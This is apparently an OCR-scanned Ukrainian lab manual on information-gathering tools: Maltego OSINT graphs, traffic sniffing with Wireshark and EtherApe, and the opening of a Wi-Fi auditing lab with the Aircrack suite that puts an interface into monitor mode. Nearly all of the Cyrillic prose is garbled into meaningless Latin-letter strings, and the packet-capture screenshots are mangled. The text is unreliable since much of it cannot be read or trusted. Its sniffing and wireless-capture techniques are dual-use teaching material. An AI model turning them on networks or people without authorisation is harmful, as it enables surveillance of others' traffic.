Maltego Classic Maltego Classic is a commercial version of Maltego which allows users to visualize

ities i h.
Acivare Wit e up to 10 000 entities in a grap

['_’, Purchase

Maltego CE (Free) In Maltego CE (Community Edition) the community transforms will be installed and
can be run to generate graphs, but the features are limited and the resulting
Run graphs may not be used for commercial purposes.

Maltego CaseFile (Free) in Maltego CaseFile graphs can only be created manually, no transforms may be
run. More types of entities will be installed and the resulting graphs may be used
for commercial purposes.

Pucynok 5.2 — BikHo oOpanns Bepcii Maltego
Jiist Toro, o0 kopuctyBaTucs cepicamu Maltego, HeoOXiqHO yBIHTH 10 CBOTO

00JIIKOBOTO 3aMucy. SIKII0 y Bac HOro HEMae — CTBOPITh, IEPEHIIOBIIHN 32 TOCHJIAHHIM
(TTomiveHo YepBOHMM MapkepoM Ha PucyHok 5.3).
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Configure Maltego

STEPS

1 License Agreement
Login
e Enter your details below to log in to the Maltego Community Server
Login Result Or if you have not done so yet, _regcter here
Install Transforms
Login

Help Improve Maltego + Email Address

Web Browser Options

Password

Privacy Mode Options
G @W

* Solve captcha

Pucynok 5.3 — Bxin 1o o6mikoBoro 3amucy abo oro peectpariist

[Ticns aBTeHTU(DIKaI1i BU nepenaere Ha T'OJIOBHE BIKHO
3actocyHky S5.(Pucynok 5.1). Jlnsg mouatky poOOTH CTBOPITH HOBHU Tpad,
HAaTUCHYBUIM BIANOBIIHY KHONKY y JIEBOMY BepXHbOMY KyTi (PuCyHOK 5.4, BUJIIIIEHO
KOBTUM MapKepoOM).

Pucynok 5.4 — Knonka ctBopeHHs1 HOBOro rpady (BUALIEHO 5KOBTHM MapKEpOM)

[Mepeiiaite B po3ain “Machines” (Pucynok 5.5, mo3nauka 1) ta HaTucHITE “Run
Machine” (Pucynok 5.5, nmo3nauka 2). Y HoBoMmy BikHi (PucyHnok 5.5) BuOepiTh

NOTPIOHUI TN MAaIllMHU, BBEAITh HEOOXIIHI JaHi JJIsl 3aIlyCKy MAallMHU 1 HATHCHITH
“Finish”.
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@ Be@mERRHRS Maltego Community Edition 4.3.1
0 Investigate  View  Entities  Collections  Transforms

% £ Machines Window

Run Stop all New  Manage
Machine J Machines Machine Machines

P4l New Graph (1) X

Start a Machine
coin Cash Address
address in a Bitcoin Cash

(O Company Stalker

(O Find Wikipedia Edits

® Bitcoin mo,‘,‘f <

(O Footprint L1
Ritcnin Rlack Hainht

(O Footprint L2

€ Please select a machine to run

s oo o]
I I T

Pucynok 5.5 — O6epith TN MammHu, Hanpukiaaa: Footprint L1 — Oyae BukoHaHO
MOITYK JOMEHIB, 10 TIOB'sI3aH1 3 BAIIOKO IIJITIO
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Start a Machine

STEPS

1. Choose machine

Specify target
The Footprint L1 machine requires the following inputs:

Pucynok 5.6 — BeenitTe HeoOXiaHi qaHi i 3amycka Mamnuau (Footprint L1 Bumarae
Ha3BY BeO-pecypcy — 1i)

B 3anexHocTi Bij THITY 00paHOi MallliHU JI0 BalIoro 00’ €KTa TOCIKEeHHS Oy/1e
3aCTOCOBaHO NEBHUI TpaHC(HOpPM 1 BUBeIeHO NeBHUI rpad (PucyHok 5.7 — 3amyiieHo
mammny Footprint L1). Hatuckarouu Ha By3mu rpada, MOKITMBO OTPHMATH JIOJJATKOBY
iH(popMaIi0 PO KOHKPETHUI BY30J. Takok, BUAUIMBIIM BY30J, O HHOIO MOXHA
OKPEMO 3aCTOCYBaTH NIEBHUI TpaHCHOpM, 0OpaTH KU MOXKHA Ha JTiBiM maHem — “Run
View” (PucyHok 5.7, mo3HaueHO YEpPBOHHUM Mapkepom). SIKIIO X € HeOOXiTHICTh
CTBOPMTH HOBHH BYy30JI — HOTO THII MOXJIMBO 0OpaTh Ha JiBii maneni — “Entity
Palette” (PucyHok 5.7, mo3HaueHO YepBOHUM MapKepOM).
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o Footprint L1

Pucynok 5.7 — I'onosHe BikHO Maltego ta rpad, moOymoBaHuii B iporieci poooTH
marman Footprint L1

3aBaaHHA:

— MPOBECTH JOCIIKEHHS JOBUIBHO OOpaHOro 00’€KTY 3 BUKOPHUCTAHHSIM HE
MEHIIIE 3X MaIlliH;

— TepepaxyBaTH Ta omucatd (a3u BUKOHAHHS KOXXHOI 3 BUKOPHUCTOBYBAaHUX
MallTiH;

— 3aCTOCyBaTH TNpuHAiMHI 3 TpaHCPOpMH 10 HE MEHII HDX 3-X BY3IIB,
oOrpyHTYBaTH BUOIp By3IIiB Ta TpaHCPOPMIB (BiIOOPA3UTH Y 3BiTi);

— TpOaHai3yBaTU OTPUMAHHMM Tpad, BIAMITUTH Yy 3BITI TOYKH IHTEpECY,
oOrpyHTYyBaTH BHOIp;

— BU3HAYMUTH HASBHICTH UyTTEBOT iHPopMaIlii (Bi10Opa3UTH Y 3BITI MOKIHBOCTI
iX BUKOPUCTAHHS 3JIOBMUCHUKAMHU ).
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JlaGopaTopna podora Ne 6
Tema: Cuidepu

Mera: Otpumartd HaBUYKH 300py TEXHIUHOI Ta 4YyTiaMBOi iHQoOpMarii 3a
nonomoroto [13 kiacy «cHipepu».

TeopernuHni BizomocTi

Cepen mporpaMHOro 3a0e3neyeHHs, IO J03BOJISIE 30MpaTH Ta aHali3yBaTH
iHdopmalito 3 cUCTeM Ta |y cucTeMax, € Benukud kmac I13, o
HA3MBAETLCA «CHipepu», Big  aHrjiidicekoro  “sniff” — Hroxatw, BHHIOXYBaTH.
Cuidepu — e nyxe mmpokuit kiac [13, BoHH MOXyTh OYyTH MEpPEKEBUMH, MOXKYTh
BcTaHoBmoBaTucs Ha USB-inTepdeiicu, ogHuM 13 pi3HOBUAIB CHiepiB MOKHA
BBAXKATU KEWJIOrepH, CHiIPepu MOXKYTh MEPEXOILIIOBATH MEPEPUBAHHS 3 MPUCTPOIB 1
Oarato iHmoro. ['ol0oBHOIO 0COONMBICTIO Oynb SKOTO CHidepa € 3IaTHICTh 10
IMacUBHOTO 300py iHMOpMaITii.

B naniit nmaGoparopHiii poOGoTi Oyle pO3TISHYTO OAWH 13 HAWUMOTYXHIIIUX
MmepexeBux cHipepi — Wireshark (Pucynox 6.1).

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® sMB@ o <> °<«>WEoool
T X

Welcome to Wireshark

...using this filter: ill '} All interfaces shown ~

ethO
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
® Cisco remote capture: ciscodump
®© DisplayPort AUX channel monitor capture: dpauxmon
© Random packet generator: randpkt
© systemd Journal Export: sdjournal
© SSH remote capture: sshdump
© UDP Listener remote capture: udpdump
© Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.0.3 (Git v4.0.3 packaged as 4.0.3-1).

E Ready to load or capture No Packets Profile: Default

Pucynok 6.17 — I'onmosre BikHo cHipepy Wireshark

Jns mouatky BUKOpUCTaHHS CHiepy o0epiTh iHTepdeiic, Ha sikomy Oyne
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npaioBaTH cHidep, Ta 3po0iTh MOABIHHMIA KITiK Ha HHOTO (PHrCcyHOK 6.2).

The Wireshark Network Analyzer

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAOG cBRB aQa « »n «>»HWPE oe ol
( =)+

Welcome to Wireshark
...using this filter: |i "} All interfaces shown -

ethO
any
Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@© Cisco remote capture: ciscodump
@© DisplayPort AUX channel monitor capture: dpauxmon
© Random packet generator: randpkt
© systemd Journal Export: sdjournal
@ SSH remote capture: sshdump
© UDP Listener remote capture: udpdump
© Wi-Fi remote capture: wifidump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.0.3 (Git v4.0.3 packaged as 4.0.3-1).

B Ready to load or capture No Packets Profile: Default

Pucynok 6.18 — 3anyck cHidepy 3 Bubopom 0axkaHoro inrepdeicy

[Ticns crapty cHidep nmoyHe Bi1oOpaxkaTu yBech Tpadik, 10 MPOXOAUTH Yepe3
oOpanuii iHTepderic. HaltuacTimme, Taka KUIbKICTh 1H(MOpMAIli — HAAMIpHA, TOMY Y
cHiepi po3ropHYTO TyKE MOTYKHY CUCTEMY HaJaro KeHHs (iIbTPIB.

Yeci pineTpu y Wireshark ninsrecs Ha a8i ocHoBHI Tpymnu. [lepma — e GpimbTpu
3axoruieHHs (Capture), BoOHM BHW3HAYAIOTH sKi JaHi OyayTh B3ATi 3 Tpadiky Ta
36epexeni. [Ipyra rpyma — ¢inetpu BimoOpaxkenus (display), BoHu mpu3HaveHi s
TOr0, 100 3aJTUITUTH HEOOX1IHY 1H(POpPMAIlII0 HA JUCIJICT, BOHU HE BIUIMBAIOTH HA Ti
MaKkeTu, M0 3aXOIUT0E CHidep, a Juiie Ha iH(opMmailito, 1o BigoOpa)kaeTbcs Ha
MoHITOpl. HanamryBatu QinbTpu MOXXKHA y BIAMOBIIHUX MEHIO, IO BUKIUKAIOTHCS
kHomnkamu (PucyHok 6.3, cMHIM MapKepoM IMO3HAY€HO KHOMKY Il MEHIO (PUIbTPIB
3axBary, a YepBOHUM JJi (PUIBTPIB BIIOOPAKEHHS)
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File Edit View Go |Capture | Analyze Statistics Telephony Wirt Tools Help

AODA® G BERB 2 ¢ >n « > H

2017 63.487721973 5 0 P 54 [TCP Keep-Alive] 52992 — 80 [ACK] Seq=418 Ac
2018 63.488644565 - .0.2.15 c 60 [TCP Keep-Alive ACK] 80 - 52992 [ACK] S
2019 73.728766928 15 3 54 [TCP Keep-Alive] 52392 - 80 [

2020 73.729789350 14 T

2021 83.970926738

2022 83071787348 10.6.2 .
2023 94.208421029 15 .250.180.227 54 L espoal fve) sove:
20 209261916 14 10.6 TC 80 [TCP Keep-Alive ACK]
20:

4.448680435 15 .180. 54 [1CP Keep-Alive] 5:

2626 104.449576360 142.250.180.227 10.0.2.15 Tcp 60 [TCP Keep-Alive ACK] 80 — [ & CIMCOK NAKETIB
2027 109568661035 PcsCompu_eb:3e:a8  Realteky_12:35:02  ARP 42 Who has 10.0.2.27 Tell 10.0.2.15

2028 369, sosTasens Resltekiizianioe  Poicospehideins. AW $010.0.2.2 i3 at

2029 114.688417869 10.0.2.15 42:250.409 227 Tcp 4 [TCP Keep-Alive

2eue 1T paseana2 ke e e 2c 10:6.2.4 cp 60 [TCP Keep-Alive ACK] *oe - 52003 ACK] Seq=702 Ack=419

2031 124.928520519 16.0.2 2 ge; mn 227 cp 54 [TCP Keep-Alive] 52092 — 89 [ACK] Seq=418 Ack=762 Wi

7652 124, ozeaoats 143,796,308, 227 10.6.2. cp 60 [TCP Keep-Alive ACK] 80

2033 128.522056568 16.0.2.15 143758, 180.227 Tcp 54 52992

2834 120.522016854 142.250. 108,227 10.6.2.15 TcP

2035 128.5 56 142.256.186.227 K

Tcp " Sa007 [FIN, ACK] Seq=762 A
] S

2036 128 10.0. 86 [

DETATNI NAKETY

capture in progress> Packets: 2036 - Displayed: 2036 (100.0%)

Pucynox 6.19 — 3axomnnenus tpadiky, Ornuc eIeMeHTIB iHTepdercy

Jlnst HamaromkeHHs (QiIbTPIB BUKOPUCTOBYIOTHCS BHpA3M, IO MOXYTh OyTH
JIOCUTh CKIAQAHUMH. AJe, I TPUKIaTy, MOXHA HAaBECTH HACTYIHHHA BHpPA3:
(tcp.port == 80) or (udp.port == 80).

[lelt mpuknax MOKHa 3aCTOCYBaTH K 10 (UIBTPY BIIOOpa)XK€HHsS, TaK 1 0
(G1IBTPY 3aXOIUIEHHS — BIH O3Ha4ae, Mo CcHidep Oye IrHOpYyBaTH ycl MAKETH OKpPiM
THX, III0 HAJICHJIAFOThCS a00 3a mpoTokoioM TCP, abo 3a mpoTtokosom UDP Ha/3 mopty
80. Tak, BUKOpPUCTOBYIOUH BIAMOBIAHI (P1IBTPU MOKHA 30CEPEAUTHCH JIUIIIE HA TIEBHIN
iH(opMartii, iKy odikye orpumaru cremiaiict 3 Ib. 3pyunoro ocobmusictio Wireshark
€ Te, MO OyIb-sIKUH 3aJlaHui MapaMeTp MakeTa MOXHa MEPEeTBOPUTU Ha 3amUT IS
¢inbTpa, siKk 300paxeno Ha Pucynky 6.4.
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ADA® i BB o ¢« > n

Expand All Protocol  Length Info
460695440 TCP 60 80 — 58562 [SYN, ACK] Seq
460738715 Collapse All 54 58562 - 80 [ACK] Seq=1 Ac
2946 11.465232392 472 Request

465706886 60 80 . 58562 [ACK] Seq=1 Ac
527308816 Apply as Filter 755 Response

Prepare as Filter

RILECEEEE] Conversation Filter Selected

.738540039 X .

EEYosopell  Colorize with Filter *  NotSelected

.719621664 [N

4735 14.720163113
4754 14.779671515 Copy

4755 14.779704614 RSN Y. WO Ctrl+Shift+O
5020 15.189546436
5621 15.189202652 [IEECCRTIICY- T, Ctri+Shift+X

5035 15.247393896 A 756 Response

5036 15, 247437801 [ 54 58562 ~ 80 [ACK] Seq=1675
5339 25.345811842 [N EELR I 54 [TCP Keep-Alive] 58562
5341 25.346278397 60 [TCP Keep-Alive ACK] 80

Apply as Column Ctri+Shift+]

Protocol Preferences
Frame 3054: 54 bytes pacodeas.. Ctri+Shift+y ° bits) on interface ethe,
Ethernet II, Src: Pc 7 lealteku_12 (52:54
Internet Protocol Ve
Transmission Control 41¢

Source Port: 5856.

Destination Port: 8

[Stream ind: 20)

Complete, WITH_DATA (31)]

Pucynoxk 6.4 — BukopuctanHs roTOBOTO 3HAYE€HHS B IKOCT1 (DUIbTpa

Uepe3 mepemillyBaHHs MakKeTiB, K1 BITHOCATHCS JO PI3HUX 3 €HAHb, Ta
BJIACTUBOCTI MEPEKEBHX TNAKETIB PO30MBATUCA Ha YacTUHU OyBa€ BaXKO
IpoaHaTi3yBaTH 3B 530K MeBHUM 3’ €aHaHHAM. [ iporo y Wireshark € MoxxiuBicTh
(MPOCHIIKYBaTH» 3a CIUIKYBaHHSM, sIK 300pakeHo Ha Pucynky 6.5.1 Ta
Pucynky 6.5.2.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADA® s BBRR@ 2 ¢« »n0n «>»PEoeso @
[tcp.stream eq 20

No i Source Destination Protocol _ Length
3 11.527308816 142.251.39. 35 1 . 15 755 Response

3054 .527340122 10.0.2.15 142.251.39.35 58562 . 80 [ACK] Seq=419 Ack=702 Win=63791 Len=0

4466 13.678115162 10.6.2.15 142.251.39.35 S 3 Request

4467 13.677883841 142.251.39. 10.0.2.15 0 80 . 58562 [ACK] Seq=762 Ack=838 Win=65535 Len=0

4aa78 .738540039 142.251.39. 10.0.2.15 Response

4479 13.738585108 10.0.2.15 142.251.39.35 58562 — 80 [ACK] Seq=838 Ack=1404 Win=63791 Len=0

4732 .719621664 10.0.2.15 142.251.39.35 S| Request

4735 .720163113 142.251.39. 10.0.2.15 80 —~ 58562 [ACK] Seq=1404 Ack=1256 Win=65535 Len=0

4754 .779671515 142.251.39. 10.0.2.15 S| Response

4755 14.779704614 10.8.2.15 142.251.39.35 58562 — 80 [ACK] Seq=1256 Ack=2165 Win=63791 Len=e

5020 15.189546436 10.0.2.15 142.251.39.35 Request

5021 15.189202682 142.251.39.35 10.0.2.15 80 — 58562 [ACK] Seq=2105 Ack=1675 Win=65535 Len=6

5035 15.247393896 142.251.39. 10.0.2.15 756 Response

5036 15.247437891 142.251.39.35 54 58562 — BO [ACK] Seq=1675 Ack=2807 Win=63791 Len=0

5339 25345811842 10.0.2. 142.251.39.35 54 [TCP Keep-Alive] 58562 - 80 [ACK] Seq=1674 Ack=2807 Win=63791
. 346278397 .0.2. e FATTTAETUSSRTAISGATARK] B8 - 58562 [ACK] Seq=2867 Ack=1675 Win=6!

5375 35,584615604 .0.2. 142.251.39.35 Mark/Unmark Packet Ctri+M 8562 — 80 [ACK] Seq=1674 Ack=2807 Win=63791

5377 35.585099872 142 4 10.6.2.15 Ignore/Unignore Packet Ctri+D . 58562 [ACK] Seq=2807 Ack=1675 Win=65

5417 45.823482631 .8.2. 142.251.39.35 - 88 [ACK] Seq=1674 Ack=2867 Win=63791

5419 45.823903958 . 10.0.2.15 Set/Unset Time Reference CtrisT K] 80 . 58562 [ACK] Seq=2807 Ac! 6

SiErame 53415 66 SRS w B Time Shift... Ctri#ShiftsT g P

» Ethernet II, S ealteky 02 4:0 2 Packet Comments

Prot

rnet on 4, Src: 1 3 : 52 of ©
B Transmission Control Protocol, Src Port: 80, Dst Port: SEEECILCEATREU ff ff d8 oc 60 ©
Apply as Filter

Prepare as Filter

Conversation Filter

Colorize Conversation

scTp

Follow TCP Stream Cri+Alt+ShiftsT
Copy

Protocol Preferences

Decode As...

Show Packet in New Window

® B wireshark_eth0TMSDO1.pcapng

Pucynok 6.5.1 — O6panns omii BioOpakeHHS CIIJIKyBaHHS B paMKaX OJTHOTO
MOTOKY
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Wireshark - Follow TCP Stream (tcp.stream eq 20) - eth

POST /gtsic3 HTTP/1.1)

Host: ocsp.pki.goog|

user -Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/162.6|
Accept: */*

Accept-Language: en-US,en;q=0.
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request]
content-Length: 83

[Connection: keep-alive]

lPragma: no-cachel

ICache-Control: no-cache]

0Qe06MEKE 16 +

HTTP/1.1 200 O
Content-Type: application/ocsp-response
Date: Mon, 66 Feb 2023 ©0:20:11 GM
[Cache-Control: public, max-age=14460
Iserver: ocsp_responder]
IContent-Length: 471
-XSS-Protection: ©f
-Frame-Options: SAMEORIGIN]

.Q5."..20230205122215Z2050G016

Accept-Language: en-US,en;q=0.
Accept-Encoding: gzip, deflate]

Pragma: no-cache]
[Cache-Control: no-cache]

Entire conversation (4,480 bytes) - Show dataas ASCIl - Stream 20 *

Find: | Find Next

Filter Out This Stream Print Saveas... Help

Pucynok 6.5.2 — BikHO 3 1eK010BaHUMH TTOBIIOMJICHHSIMH

Hacamkinernp, BenWYe3HY KIJTBKICTIO TMEPEXOIJICHOro Tpadiky MOXKHA
BUKOPHUCTATH 3 KOPUCTIO y BUNAIKyY cTtaructuku. Wireshark no3Bosisie mpoaHaizyBaTH
KUTBKICTh TakeTiB pizHoro tumy (PucyHok 6.6), mOBXMHU Ta 3’€IHAHb, MOXE
noOyayBaTu Tpadikd BBOAY/BUBEIACHHS YU KOMYHIKAIlll 3arajoM BIJHOCHO Yacy,
BUOKPEMHUTH yCiX YYaCHUKIB 3’ €IHAHHS TOIIO.
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File Edit View Go Capture Analyze [SEBHSHIS Telephony Wireless Tools Help

ADA® = BB @ o CopturefiePproperties CHri+Alt+ShiftsC

= Resolved Addresses

No. Source
28620 84.168491215 : i 46246 — 86 [FIN, ACK]
28021 84.168633669 10.0.2. Endpoints. 46256 . 86 [SYN] Seq=8 w. 460 SACK_PERM TSval=2636981608 TSecr=e Ws=128
28022 84.160859702 ; 80 - 46240 [ACK] Seq=214 Ack=158 Win=65535 Len=6
28023 84.163716331 oImET 46256 [SYN, ACK] Seq=0 A =65535 Len=0 MSS=1460

.163813419 16, /O Graphs 46256 - 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0
4.164480288 GET /webdata/ HTTP/1.1
0 16139 192 ]  ServiceResponseTime Wlso . 46256 [ACK] Seq=1 A« 8 Win=65535 Len=0
28027 84.168216670 192.168. 0. [T Tt PEHUN HTTP/1.1 403 Forbidden (text/html)
28028 84.168300072 10.6.2.15 46256 — 80 [ACK] Seq=158 Ack=213 Win=64628 Len=6
- 28029 84.168821979 c
28030 84.168985233 12
28031 B2.169455213 1 .
28032 84.172105434
28033 84.172137241 Y - PercentPackets  Packets Percent Bytes Bytes  Bits/s  EndPackets  EndBytes  EndBitsls
EoRRa i LizieEan - Frame 1000 28781 5297404 148k 0
28035 B4.172306178 Sty 261620 DK
2EEoE Aa sz e  Internet Protocol Version 6

Protocol Hierarchy.

10.0.2.15 R e 4 [FIN, ACK] Seq=158 Win=64028 Len=6

Internet Control Message Protocol v6
* Internet Protocol Version 4
* User Datagram Protocol
Multicast Domain Name System
Domain Name System
Data
= Transmission Control Protocol k 4254614 119Kk
Transport Layer Security 2366834 66k
Telnet X 2
SSH Protocol 1623 45
= Hypertext Transfer Protocol . 6 1386251 38k
Line-based text data . I 610506 17k
HTML Form URL Encoded 3 715 20
eXtensible Markup Language : 291 8
~ Action e Format 9288 260
Malformed Packet ) o
Internet Control Message Protocol e 34
Address Resolution Protocol 74 2

28038 84.17500141
28039 841750803

@mgNooNocOO

]
gY
8

B
4

Close Copy

® L ethO: <live capture in progress> Packets: 28781 - Displayed: 28781(100.0%)

Pucynok 6.6 — BimoOpaxeHHs iepapxii MPOTOKOJIIIB y MepeXoruieHoMY Tpadiky

CHidep M0oKe BUKOHYBATH HE JIMIIIE 3aXOIJICHHS MTaKEeTIB, 1HO1 BIH HEOOX1THUI
JMILE JJI1 MOHITOPUHTY 3BEpHEHb XOCTY y Mepexi. s Takux uuied po3poOiaeHo
cuidep EtherApe. Moro MoXIMBO BCTAHOBUTH BHKOHABIIM KOMAaHIYy Y KOHCOMI BiJ
iMeHi root'a “apt install etherape”. 3amyctuBmu EtherApe Binm imeHi cymep-
KOpHCTyBada 00epiTh inTepdetic Ta pexxum y meHio “Capture” (mo3HayeHO YepBOHHM
MapkepoM Ha PucyHok 6.7).
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Pucynok 6.7 — 'onoBHe BikHO cHidepy Etherape, ueppoHumM Mapkepom nmomivueHe
MmeHro “Capture”

[Tpuknan pobotu cHipepy 300paxkeHo Ha Pucynky 6.8.

Pucynok 6.8 — Ilpuknan podotu cHidepy

3BepHITH yBary, IO 3JiBa 3HAXOAWUThCA maHenb “Protocols” — tam
B1I0OpaKAIOTHCS yC1 HEMIOAaBHI TPOTOKOJIH, 32 SIKUMH HAJICUIIAJIACS JIaHi.
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3aBaaHHA:

— BukopucTtoBytoun cHipep Wireshark Tta indopmamito 3 caity anti-
trojan.org/port_opened.html (Mox11BO BUKOPHCTOBYBATH 1 1HIII PeCypCH, OCHOBHUM
KpUTEpIEM € aKTyaJdbHICTh 1HdopMalii), nodyayite ¢iasTp (3axBaTy abo
BIIOOpaXeHHS) [JIs1 TepexBaTy IaKeTiB, IO MOXYTh WMTH 31 HIIMUTYHCHKOTO
IPOrPaMHOTO 3a0€3MCUCHHS;

— miciga moOynoBu GUIBTPY MpoaHamizyidTe Tpadik y ACKUIBKOX MeEpeax,
nofaiTe y 3BIT iH(popMalito po Tpadik, SKUK OyI0 OTPUMAHO y KOXKHIN 3 MEPEK;

— 3a gomomororo Wireshark mnpoanamiszyiite Ttpadik, [0 TreHepye Ball
KOMIT'FOTEp TPy 3BEPHEHHI Ha TOMYJISIPHI CalTH (BUKOPUCTOBYWUTE (DUIBTPH,
1H(opMalIIito Mpo HUX JOJANUTE Y 3BIT, MOSICHITH YOMY BU BUKOPUCTAJIM caMe iX), Ballli
CTIIOCTEPEKEHHS A0aiTe y 3BIT;

— BuKopHcTOBYouH cHidep EtherApe, npoananisyiite 3B’ 3KH, 1110 BUHUKAIOTh
IpU 3BEpPHEHHI Bamoro Opay3epy [0 MONYyJApHUX CaWTiB, AOJAaWTEe Yy 3BIT
CIIOCTEPEIKEHHS Ta MOSICHEHHS TIPO MIPUPOLY MOXOHKEHHS ITUX 3B SI3KIB.
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JlaGopaTopna podoora Ne /

Tema: 3aci®0 pgocmimpkeHHs BpasmuBocTeil  OezgporoBux Mepex  Wi-
Fi — Aircrack.

Mera: OtpumaTu HaBUYKM 300py TEXHIYHOI Ta 4YyTJIMBOI 1H(opMaIii 3
6e3nporoBux mepex Wi-Fi 3 BukopucTanHsM nporpamMHoro makery Aircrack.

TeopernuHi BizomocTi

Aircrack — mporpamMH#ii KOMIUIEKC 3 JCKIJIBKOX aBTOHOMHHX KOHCOJBHHX
yTuiiT. Haif01pI1 4acTo BUKOPUCTOBYBAHUMHU 3 HUX €:

— alrmon-ng — ytwiita JUis KEepPyBaHHS MEPEeKEBUMH  iHTep(dericamu.
OcHoBHUMU 3aBJaHHSIMU € Bu3HadueHHs 113, 1o 3ailiMae mepexeBuit iHTepdeiic — e
J03BOJIsSI€ BUKOHATH HEOOX1THI A1 I HOTO BUBLIBHEHHS Ta TIEpeBeIeHHs IHTepdeiicy
B PEXKUM «MOHITOPY», 110 J1a€ 3MOTY BUKOHYBATH 301p 1H(hopMariii.

— airodump-ng — ytuiiTa, o Mpamroe 3 MepekeBUM iHTepdericom, mo 0yiio
MEPEBEJICHO Y pexuM MOHITOpY. BoHa peanizye (yHKIIT MepexeBoro cHidepa, ajue
nepexoruioe Tpadik HE 3 Mepexi, JO0 AKOI MIAKIIYeHa, a Oe3MOoCepeHbo 3
0e3MpoBIAHIX Mepex. Mae Benukuit HaOip omilii Ta QyHKIIIH.

— aireplay-ng — yruiita, nmpu3HaueHa JJIs BUKOHAHHS «iH €KLii» y Tpadik.
3a3Buuail 151 yTUIITa BUKOPUCTOBYETHCS JIJIsl TOTO, 100 HajiciaaTH y Tpadik MeBHOI
Mepexi Hallp 3 NEBHUX CITYKOOBUX KOMAaH/I BIJl IMEH1, TOUKH JIOCTYITY YU KJIIEHTA LI1€]
TOYKH.

— aircrack-ng — yruiita, 1Mo npu3HaveHa i MPOBEACHHS KPUIITOAHATI3Y
OTPUMAHUX MAKETIB JJIs OTPUMAHHSI KJIIOY1B TOUKH JIOCTYITY.

OKpIM MOKJIMBOCTI OTPUMAHHS KJIFOUIB BI1J TOYKH JOCTYMHY (L1 MOKJIUBOCTI
OyayTh PO3TJISIATUCS Y MOAATBINNX JabopaTopHUX poboTax), Aircrack Hamae rapHi
MO>KJIMBOCT1 JUIS aHaJli3y aKTMBHOCTI KOPUCTYBAyiB TMEBHOI TOYKH JOCTYymy. A 'y
BIJIKpUTUX TOYKAX III€ i T03BOJISIE IEPEXOIUTIOBATH iX Tpaik, aHali3 IKOT0 MOKE 1aTh
0e3m114 kopucHoi 1Hpopmarii. s 3060opy Takoi iHpopmallii OyaeMo BUKOPUCTOBYBATH
airodump-ng.

Bapto 3ayBaxkuTH, 1110 1J1 TOTO, 11100 BUKOHYBATH ayJIUT O€3MEKU 0€3IPOTOBUX
mepex Wi-Fi 3 BipTyanbHo1 Mammay, moTpioeH nonatkoswuii Gpizuanuii Wi-Fi aganrep.
Tomy, 3a BIZICYTHOCTI ajamnTepa i J1aHoi JabopaTOpHOI POOOTH PEKOMEHIOBAHO
BUKOpUCTOBYBaTH Live-oOpa3 Ha duenr-kapTii (MOCHJIAHHS Ha I1HCTPYKINIO 3
o(imiinoro caity Kali 31 Bcranosienns Live-oopasa — kali.org/docs/usb/).

s modaTky poOOTH HEOOXIiAHO 3amycTUTH TepMiHan 1 mnepeBectr Wi-Fi
iHTEepdeic y pexxuMm MoHitopa. s mporo moTpiOHO Ai3HATUCA CUCTEMHY Ha3BY
notpidHoro iHTepdericy. lIlo6 nepeauBuTUCs yci iHTepdeicH, o AOCTYIHI y Ballii
CHCTEMI, BUKOHANTEe KoMaHy ifconfig(Pucynok 7.1).
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kali@kali: ~

File Actions Edit View Help

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
ine 7.0.0.1 netmask 5.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 5434 bytes 624 (317.9 K
RX errors @ dropped @ r
TX packets 5434 bytes : iB)

TX errors @ dropped @ overr carrier @ collisions @

wlan@: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 8a:32:51:ce:10:7f txqueuelen 1000 (Ethernet)
RX packets 61842 bytes 85826512 (81.8 MiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 13542 bytes 1261181 (1.2 MiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

Pucynok 7.1 — Komanna ifconfig BuBoauTs yci MmepexeBi iHTepdericu cucteMu

3BEepHITh YyBary, IO BUKOHYBaTH NEPEKIIOUEHHs IHTepelcy y pexum
MOHITOpPY He0OX1THO BiJl iMEHi cymep-kopuctyBada (root’a). SIkmio TepMiHa BiIKpHTO
HEe BiJ iMEH1 roOt’a, y Mmo4yaTOK CTPOKM 3 KOMaHJOI BBEMITh JOJATKOBO sudo 1 3a
noTpedu BBEAITH Mapojb cynep-KopucTyBada. s modatky Tpeba BHU3HAYMTH, SIKi
MpOLIECH MOXYTh BHUKJIMKAaTH MpoOJeMH il 4Yac PoOOTH ajamnTepa y pexumi
MOHITOpa — 116 MO’KHA 3pOOUTH 3a JOTIOMOTOK0 KOMaHJM sudo airmon-ng check
[

iM’ 1 inrepdeiicy ] (Pucynok 7.2).

¥ kali@kali: ~

File Actions Edit View Help

~

= check wlan@

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels

and sometimes putting the interface back in managed mode

PID Name
1531 NetworkManager
1580 wpa_supplicant

Pucynox 7.2 — Po6oTa komanau airmon-ng check wlan0
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Jns Toro, mo0 mo30yTHCS MPOLECIB, 10 CIPUYUHATH MPOOIEMHU, BUKOHANTE
KOMaHAy kill [PID mpouecy]BiJ IMEHI cynep-KopucTyBada. Takox yci Il mporecu
MO>KHA 3yIIMHUTH 32 JIONIOMOT0I0 KOMaH/IM airmon-ng check kill.

[HoM1 IbOrO OyBa€ HEIOCTATHRO, TOMY MOKHA CIIPOOYBaTH BUMKHYTH, a TIOTIM
3HOBY YBIMKHYTH MepekeBHM anantep. lle BUKOHyeThCS 3a JOMOMOIOH KOMaH[
ifconfig [im’'sa iHTepoercy] down (H106 BHMKHyTH) Ta ifconfig [im’'=s
inTepodeitcy] up (MO0 YBIMKHYTH), BUKOHYBaTH KOMAaHJM HEOOXITHO BIiJl IMEHI
cyrnep-kopuctyBada (Pucynox 7.3).

File Actions Edit View Help

wlan® down

~

wlan@® up

